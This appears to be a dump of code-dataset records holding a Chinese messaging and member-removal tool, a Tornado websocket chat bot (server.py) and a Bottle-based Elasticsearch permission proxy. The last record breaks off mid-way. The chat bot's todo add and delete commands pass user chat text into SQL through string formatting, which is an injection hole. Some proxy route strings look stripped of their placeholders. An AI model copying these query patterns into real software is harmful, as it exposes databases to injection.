mbr['remark'] = ['all']\n self.send_msgs('all')\n\n def input_prepare(self, uids):\n def load_input(ids):\n _flag = True\n for _id in open(self.input_txt):\n _id = _id.strip()\n if _id:\n _id = int(_id)\n if _id not in list(self.members.keys()):\n _flag = False\n console('用户ID %-10s 不存在，请检查！（注意是用户ID，不是踢人ID或用户名）' % _id)\n else:\n ids.append(_id)\n return _flag\n\n # 清空input.txt\n with open(self.input_txt, 'w'):\n pass\n # 使用默认程序打开txt\n open_file(self.input_txt)\n # 确认以继续\n input('请将用户ID复制至input.txt，每行一个，保存。在此处按Enter继续：')\n # 对用户ID进行检查\n while True:\n uids.clear()\n fg = load_input(uids)\n if not fg:\n input('input.txt中存在错误用户ID，请检查并修改。确认无误后在此处按Enter继续：')\n continue\n if not uids:\n input('input.txt没有数据，是不是没有保存？请保存后在此处按Enter继续：')\n continue\n if fg and uids:\n break\n\n def send_remark_msg(self, uids):\n # 选择短信模板\n self.load_templates()\n rks = []\n for r in self.templates:\n rk = getattr(self.templates, r)\n rks.append(rk)\n console('%d. %-20s| %s' %\n (len(rks), rk.name, rk.attr.get('description') if 'description' in rk.attr else ''))\n # fix #50 选择发送的短信模板时，可以选择不发送\n ans = ask('请输入编号以选择短信模板（n-取消/不发送，r-重新选择短信模板）：', '\\d+|[nNrR]', '无效选择')\n if ans in ('r', 'R'):\n return self.send_remark_msg(uids)\n if ans in ('n', 'N'):\n return False\n idx = int(ans) - 1\n # 预览模板并确认发送\n console('-------------------- 模板预览 --------------------')\n if not rks[idx]:\n console('未发现可用的短信模板！')\n return False\n mt = rks[idx].tmpl[0]\n # 预览第一个\n mt.para = self.members[uids[0]]\n console(mt.subject)\n console(mt.body)\n yn = ask('将要给 %d 人发送短信，y-确认（默认），n-取消/不发送，r-重新选择短信模板：' % len(uids), '[yYnNrR]|', '无效选项')\n if yn.lower() in ('', 'y'):\n # 添加标记\n for uid in uids:\n self.members[uid]['remark'] = [rks[idx].name]\n self.send_msgs(rks[idx].name)\n # 清理标记\n for uid in uids:\n del self.members[uid]['remark']\n elif yn.lower() == 'r':\n return self.send_remark_msg(uids)\n\n def send_part_sub(self):\n uids = []\n self.input_prepare(uids)\n self.send_remark_msg(uids)\n\n def send_part_process(self):\n # 获取所有成员\n self.login_process()\n self.get_members()\n self.send_part_sub()\n while ask('接下来，y-重复以上流程，n-取消（默认）：', '[yYnN]|').lower() == 'y':\n self.send_part_sub()\n\n def show_dispel(self, uids):\n console('************************ 待踢成员列表 ************************')\n console(' 用户ID 贡献值 组龄 贡献率 昵称')\n console('----------------------------------------------------------------')\n for uid in uids:\n mbr = self.members[uid]\n console('{user_id:<10} {points:<5} {days:<4} {point_rate:<5} {nickname}'.format(**mbr))\n\n def dispel_with_msg(self):\n # 获取所有成员\n self.login_process()\n self.get_members()\n uids = []\n self.input_prepare(uids)\n # 显示待踢成员详情\n self.show_dispel(uids)\n # 验证码确认\n vn = '%04d' % random.randint(0, 9999)\n ask('共 %d 人，请输入验证码（%s）以确认踢出：' % (len(uids), vn), vn, '验证码输入错误！')\n # 踢出\n self.dispel = uids\n self.dispel_process()\n # 发送短信\n self.xml = [os.path.abspath(os.path.join(HOME, 'bin/etc/plan_check.xml')),\n os.path.abspath(os.path.join(HOME, 'user/msg_tool.xml'))]\n self.load_templates()\n self.send_remark_msg(uids)\n # 发送邮件\n self.render_html()\n self.send_email()\n\n\nif __name__ == '__main__':\n MsgTool().main()\n", "sub_path": "bin/msg_tool.py", "file_name": "msg_tool.py", "file_ext": "py", "file_size_in_byte": 9597, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "common.Checker", "line_number": 12, "usage_type": "name"}, {"api_name": "common.Checker.__init__", "line_number": 14, "usage_type": "call"}, {"api_name": "common.Checker", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "common.HOME", "line_number": 17, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "common.HOME", "line_number": 19, "usage_type": "argument"}, {"api_name": "os.path.abspath", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "common.HOME", "line_number": 21, "usage_type": "argument"}, {"api_name": "os.path.abspath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "common.HOME", "line_number": 22, "usage_type": "argument"}, {"api_name": "os.path.abspath", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "common.HOME", "line_number": 52, "usage_type": "argument"}, {"api_name": "shanbay.util.console", "line_number": 57, "usage_type": "call"}, {"api_name": "conf.TemplateParser", "line_number": 67, "usage_type": "call"}, {"api_name": "conf.TemplateParser", "line_number": 69, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.ParseError", "line_number": 71, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 71, "usage_type": "name"}, {"api_name": "shanbay.util.console", "line_number": 78, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 88, "usage_type": "call"}, {"api_name": "shanbay.util.ask", "line_number": 89, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 103, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 108, "usage_type": "call"}, {"api_name": "shanbay.util.ask", "line_number": 117, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 125, "usage_type": "call"}, {"api_name": "shanbay.util.ask", "line_number": 126, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 141, "usage_type": "call"}, {"api_name": "shanbay.util.open_file", "line_number": 150, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 173, "usage_type": "call"}, {"api_name": "shanbay.util.ask", "line_number": 176, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 183, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 185, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 190, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 191, "usage_type": "call"}, {"api_name": "shanbay.util.ask", "line_number": 192, "usage_type": "call"}, {"api_name": "shanbay.util.ask", "line_number": 214, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 218, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 219, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 220, "usage_type": "call"}, {"api_name": "shanbay.util.console", "line_number": 223, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 234, "usage_type": "call"}, {"api_name": "shanbay.util.ask", "line_number": 235, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 240, "usage_type": "call"}, {"api_name": "os.path", "line_number": 240, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 240, "usage_type": "call"}, {"api_name": "common.HOME", "line_number": 240, "usage_type": "argument"}, {"api_name": "os.path.abspath", "line_number": 241, "usage_type": "call"}, {"api_name": "os.path", "line_number": 241, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 241, "usage_type": "call"}, {"api_name": "common.HOME", "line_number": 241, "usage_type": "argument"}]} +{"seq_id": "260850306", "text": "import json\nimport time\nimport tornado.ioloop\nimport tornado.web\nimport tornado.websocket\nfrom bot import *\nfrom tornado.ioloop import PeriodicCallback\nfrom tornado.options import define, options, parse_command_line\nimport urllib.parse\nimport psycopg2\nimport os\nimport re\nis_zero = False\n\nclient = set()\n\nurllib.parse.uses_netloc.append(\"postgres\")\nurl = urllib.parse.urlparse(os.environ[\"DATABASE_URL\"])\nconnector = psycopg2.connect(\n database=url.path[1:],\n user=url.username,\n password=url.password,\n host=url.hostname,\n port=url.port\n)\ncur = connector.cursor()\nZERO = ord(\"0\")\nNINE = ord(\"9\")\ndefine(\"port\", default = 8080, help = \"run on the given port\", type = int)\n\nclass IndexHandler(tornado.web.RequestHandler):\n @tornado.web.asynchronous\n def get(self):\n self.render(\"index.html\")\n\nclass SendWebSocket(tornado.websocket.WebSocketHandler):\n def open(self):\n client.add(self)\n print(\"WebSocket opened\") \n\n def on_message(self, message):\n global is_zero\n receive = \"\"\n data = {}\n data['data'] = message\n print(data)\n [ws.write_message(json.dumps(data)) for ws in client]\n if message.startswith(\"bot\"):\n commands = message.split()\n if len(commands) == 2:\n if commands[1] == \"ping\":\n data['data'] = \"pong\"\n [ws.write_message(json.dumps(data)) for ws in client]\n command = {}\n if len(commands) == 3:\n if commands[1] == \"todo\" and commands[2] == \"list\":\n cur.execute(\"select name, content from todo\")\n result = cur.fetchall()\n if len(result)==0:\n receive = \"todo empty\"\n else:\n receive = \"\\n\".join([n+\" \"+c for n, c in [row for row in result]])\n data['data'] = receive\n [ws.write_message(json.dumps(data)) for ws in client]\n elif commands[1] != \"calc\":\n command['command'] = commands[1]\n command['data'] = commands[2]\n bot = Bot(command)\n bot.generate_hash()\n data['data'] = bot.hash\n [ws.write_message(json.dumps(data)) for ws in client]\n if len(commands) >= 3:\n if commands[1] == \"calc\":\n data['data'] = calc(\"\".join(commands[2:]))\n if is_zero:\n data['data'] = \"ERROR: division by zero\"\n [ws.write_message(json.dumps(data)) for ws in client]\n is_zero = False\n if len(commands) == 4:\n if commands[1] == \"todo\" and commands[2] == \"delete\":\n cur.execute(\"delete from todo where name='%s'\" % commands[3])\n connector.commit()\n status, num = cur.statusmessage.split()\n if status == \"DELETE\" and int(num) > 0:\n data['data'] = \"todo deleted\"\n [ws.write_message(json.dumps(data)) for ws in client]\n if len(commands) >= 5:\n if commands[1] == \"todo\" and commands[2] == \"add\":\n cur.execute(\"insert into todo values('%s','%s')\" % (commands[3], \" \".join(commands[4:])))\n connector.commit()\n status, num1, num2 = cur.statusmessage.split()\n if status == \"INSERT\" and int(num2) > 0:\n data['data'] = \"todo added\"\n [ws.write_message(json.dumps(data)) for ws in client]\n\n def on_close(self):\n client.remove(self)\n print(\"WebSocket closed\")\n\napp = tornado.web.Application([\n (r\"/index\", IndexHandler),\n (r\"/\", SendWebSocket),\n],\ntemplate_path=os.path.join(os.getcwd(), \"templates\"),\nstatic_path=os.path.join(os.getcwd(), \"static\"),\n)\n\ndef paren(st):\n if st[0] == \"(\":\n ans, idx = first(st[1:])\n return ans, idx+2\n elif ZERO <= ord(st[0]) <= NINE:\n i = 1\n while i < len(st) and ZERO <= ord(st[i]) <= NINE:\n i += 1\n return int(st[:i]), i\n return 0, 0\n\ndef second(st):\n global is_zero\n ans, idx = paren(st)\n\n i = idx\n while i < len(st):\n if st[i] == \"*\":\n tmp, idx = paren(st[i+1:])\n ans *= tmp\n i += idx+1\n elif st[i] == \"/\":\n tmp, idx = paren(st[i+1:])\n if tmp == 0:\n is_zero = True\n else:\n ans /= tmp\n i += idx+1\n elif st[i] == \"%\":\n tmp, idx = paren(st[i+1:])\n if tmp == 0:\n is_zero = True\n else:\n ans %= tmp\n i += idx+1\n elif st[i] == \"^\":\n tmp, idx = paren(st[i+1:])\n ans = pow(ans,tmp)\n i += idx+1\n else:\n return ans, i\n return ans, i\n\ndef first(st):\n ans, idx = second(st)\n\n i = idx\n while i < len(st):\n if st[i] == \"+\":\n tmp, idx = second(st[i+1:])\n ans += tmp\n i += idx+1\n elif st[i] == \"-\":\n tmp, idx = second(st[i+1:])\n ans -= tmp\n i += idx+1\n else:\n return ans, i\n return ans, i\n \ndef calc(s):\n if s.count(\"(\") != s.count(\")\") or re.search(\"[^\\+\\-\\*\\/()0-9^%]\", s):\n return \"ERROR\"\n else:\n return first(s)[0]\n\n\nif __name__ == \"__main__\":\n parse_command_line()\n port = int(os.environ.get(\"PORT\", 5000))\n print(\"Listen :%d\" % port)\n app.listen(port)\n tornado.ioloop.IOLoop.instance().start()", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 5703, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "urllib.parse.parse.uses_netloc.append", "line_number": 17, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 17, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 17, "usage_type": "name"}, {"api_name": "urllib.parse.parse.urlparse", "line_number": 18, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 18, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 18, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "psycopg2.connect", "line_number": 19, "usage_type": "call"}, {"api_name": "tornado.options.define", "line_number": 29, "usage_type": "call"}, {"api_name": "tornado.ioloop.web", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tornado.ioloop", "line_number": 31, "usage_type": "name"}, {"api_name": "tornado.ioloop.web", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tornado.ioloop", "line_number": 32, "usage_type": "name"}, {"api_name": "tornado.ioloop.websocket", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tornado.ioloop", "line_number": 36, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 47, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 53, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 64, "usage_type": "call"}, {"api_name": "bot.generate_hash", "line_number": 69, "usage_type": "call"}, {"api_name": "bot.hash", "line_number": 70, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 71, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 77, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 86, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 94, "usage_type": "call"}, {"api_name": "tornado.ioloop.web.Application", "line_number": 100, "usage_type": "call"}, {"api_name": "tornado.ioloop.web", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tornado.ioloop", "line_number": 100, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path", "line_number": 104, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 105, "usage_type": "call"}, {"api_name": "re.search", "line_number": 169, "usage_type": "call"}, {"api_name": "tornado.options.parse_command_line", "line_number": 176, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 177, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 177, "usage_type": "attribute"}, {"api_name": "tornado.ioloop.ioloop.IOLoop.instance", "line_number": 180, "usage_type": "call"}, {"api_name": "tornado.ioloop.ioloop", "line_number": 180, "usage_type": "attribute"}, {"api_name": "tornado.ioloop", "line_number": 180, "usage_type": "name"}]} +{"seq_id": "234827242", "text": "__author__ = 'schlitzer'\n\nfrom bottle import request\nimport requests\n\nfrom el_aap.app import app, str_index, endpoint\nfrom el_aap_api.errors import *\n\n\n@app.put('/_template')\n@app.put('/_warmer')\ndef admin_put(m_aa):\n m_aa.require_permission(':', '')\n r = requests.put(\n url=endpoint.endpoint+request.path,\n params=request.query,\n data=request.body\n )\n response.status = r.status_code\n response.set_header('charset', 'UTF8')\n return r.json()\n\n\n@app.put(str_index+'/_warmer')\n@app.put(str_index+'/<_type>/_warmer')\n@app.put(str_index)\n@app.put(str_index+'/')\n@app.put(str_index+'/_mapping/<_type>')\n@app.put(str_index+'/_settings')\ndef put(m_aa, _index, _type=None):\n m_aa.require_permission(':index:manage:', _index)\n r = requests.put(\n url=endpoint.endpoint+request.path,\n params=request.query,\n data=request.body\n )\n response.status = r.status_code\n response.set_header('charset', 'UTF8')\n return r.json()\n\n\n@app.post('/_flush')\n@app.post('/_forcemerge')\n@app.post('/_optimize')\n@app.post('/_refresh')\n@app.post('/_cache/clear')\ndef post(m_aa):\n m_aa.require_permission(':', '')\n r = requests.post(\n url=endpoint.endpoint+request.path,\n params=request.query,\n data=request.body\n )\n response.status = r.status_code\n response.set_header('charset', 'UTF8')\n return r.json()\n\n\n@app.post(str_index+'')\n@app.post(str_index+'/')\n@app.post(str_index+'/_cache/clear')\n@app.post(str_index+'/_flush')\n@app.post(str_index+'/_refresh')\n@app.post(str_index+'/_optimize')\n@app.post(str_index+'/_upgrade')\n@app.post(str_index+'/_close')\n@app.post(str_index+'/_open')\n@app.post(str_index+'/_forcemerge')\ndef post(m_aa, _index):\n m_aa.require_permission(':index:manage:', _index)\n r = requests.post(\n url=endpoint.endpoint+request.path,\n params=request.query,\n data=request.body\n )\n response.status = r.status_code\n response.set_header('charset', 'UTF8')\n return r.json()\n\n\n@app.delete(str_index+'')\n@app.delete(str_index+'/')\ndef delete(m_aa, _index):\n for index in _index.split(','):\n m_aa.require_permission(':index:manage:', index)\n r = requests.delete(\n url=endpoint.endpoint+request.path,\n params=request.query,\n data=request.body\n )\n response.status = r.status_code\n response.set_header('charset', 'UTF8')\n return r.json()\n\n\n@app.get('/_analyze')\n@app.get('/_mapping')\n@app.get('/_segments')\n@app.get('/_recovery')\n@app.get('/_shard_stores')\n@app.get('/_stats')\n@app.get('/_stats/')\n@app.get('/_stats/')\n@app.get('/_template/')\n@app.get('/_all/_mapping')\n@app.get('/_all/_settings')\n@app.get('/_all/_settings/')\n@app.get(str_index+'/_mapping')\n@app.get(str_index+'/_mapping/')\n@app.get(str_index+'/')\n@app.get(str_index+'/_settings')\n@app.get(str_index+'/_settings/)')\ndef info(m_aa, _index, dummy=None):\n for index in _index.split(','):\n m_aa.require_permission(':index:manage:monitor', index)\n r = requests.get(\n url=endpoint.endpoint+request.path,\n params=request.query,\n )\n response.status = r.status_code\n response.set_header('charset', 'UTF8')\n return r.json()\n\n\n", "sub_path": "el_aap/controllers/index_api.py", "file_name": "index_api.py", "file_ext": "py", "file_size_in_byte": 3958, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "requests.put", "line_number": 14, "usage_type": "call"}, {"api_name": "el_aap.app.endpoint.endpoint", "line_number": 15, "usage_type": "attribute"}, {"api_name": "el_aap.app.endpoint", "line_number": 15, "usage_type": "name"}, {"api_name": "bottle.request.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 15, "usage_type": "name"}, {"api_name": "bottle.request.query", "line_number": 16, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 16, "usage_type": "name"}, {"api_name": "bottle.request.body", "line_number": 17, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 17, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 10, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 10, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 11, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 11, "usage_type": "name"}, {"api_name": "requests.put", "line_number": 32, "usage_type": "call"}, {"api_name": "el_aap.app.endpoint.endpoint", "line_number": 33, "usage_type": "attribute"}, {"api_name": "el_aap.app.endpoint", "line_number": 33, "usage_type": "name"}, {"api_name": "bottle.request.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 33, "usage_type": "name"}, {"api_name": "bottle.request.query", "line_number": 34, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 34, "usage_type": "name"}, {"api_name": "bottle.request.body", "line_number": 35, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 35, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 24, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 24, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 24, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 25, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 25, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 25, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 26, "usage_type": "call"}, {"api_name": "el_aap.app.str_index", "line_number": 26, "usage_type": "argument"}, {"api_name": "el_aap.app.app", "line_number": 26, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 27, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 27, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 27, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 28, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 28, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 28, "usage_type": "name"}, {"api_name": "el_aap.app.app.put", "line_number": 29, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 29, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 29, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 49, "usage_type": "call"}, {"api_name": "el_aap.app.endpoint.endpoint", "line_number": 50, "usage_type": "attribute"}, {"api_name": "el_aap.app.endpoint", "line_number": 50, "usage_type": "name"}, {"api_name": "bottle.request.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 50, "usage_type": "name"}, {"api_name": "bottle.request.query", "line_number": 51, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 51, "usage_type": "name"}, {"api_name": "bottle.request.body", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 52, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 42, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 42, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 43, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 43, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 44, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 44, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 45, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 45, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 46, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 46, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 71, "usage_type": "call"}, {"api_name": "el_aap.app.endpoint.endpoint", "line_number": 72, "usage_type": "attribute"}, {"api_name": "el_aap.app.endpoint", "line_number": 72, "usage_type": "name"}, {"api_name": "bottle.request.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 72, "usage_type": "name"}, {"api_name": "bottle.request.query", "line_number": 73, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 73, "usage_type": "name"}, {"api_name": "bottle.request.body", "line_number": 74, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 74, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 59, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 59, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 59, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 60, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 60, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 60, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 61, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 61, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 61, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 62, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 62, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 62, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 63, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 63, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 63, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 64, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 64, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 64, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 65, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 65, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 65, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 66, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 66, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 66, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 67, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 67, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 67, "usage_type": "name"}, {"api_name": "el_aap.app.app.post", "line_number": 68, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 68, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 68, "usage_type": "name"}, {"api_name": "requests.delete", "line_number": 86, "usage_type": "call"}, {"api_name": "el_aap.app.endpoint.endpoint", "line_number": 87, "usage_type": "attribute"}, {"api_name": "el_aap.app.endpoint", "line_number": 87, "usage_type": "name"}, {"api_name": "bottle.request.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 87, "usage_type": "name"}, {"api_name": "bottle.request.query", "line_number": 88, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 88, "usage_type": "name"}, {"api_name": "bottle.request.body", "line_number": 89, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 89, "usage_type": "name"}, {"api_name": "el_aap.app.app.delete", "line_number": 81, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 81, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 81, "usage_type": "name"}, {"api_name": "el_aap.app.app.delete", "line_number": 82, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 82, "usage_type": "name"}, {"api_name": "el_aap.app.str_index", "line_number": 82, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 110, "usage_type": "call"}, {"api_name": "el_aap.app.endpoint.endpoint", "line_number": 111, "usage_type": "attribute"}, {"api_name": "el_aap.app.endpoint", "line_number": 111, "usage_type": "name"}, {"api_name": "bottle.request.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 111, "usage_type": "name"}, {"api_name": "bottle.request.query", "line_number": 112, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 112, "usage_type": "name"}, {"api_name": "bottle.request.body", "line_number": 113, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 113, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 96, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 96, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 97, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 97, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 98, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 98, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 99, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 99, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 100, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 100, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 101, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 101, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 102, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 102, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 103, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 103, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 104, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 104, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 105, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 105, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 106, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 106, "usage_type": "name"}, {"api_name": "el_aap.app.app.get", "line_number": 107, "usage_type": "call"}, {"api_name": "el_aap.app.app", "line_number": 107, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 138, "usage_type": "call"}, {"api_name": "el_aap.app.endpoint.endpoint", "line_number": 139, "usage_type": "attribute"}, {"api_name": "el_aap.app.endpoint", "line_number": 139, "usage_type": "name"}, {"api_name": "bottle.request.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "bottle.request", "line_number": 139, "usage_type": "name"}, {"api_name": "bottle.request.query", "line_number": 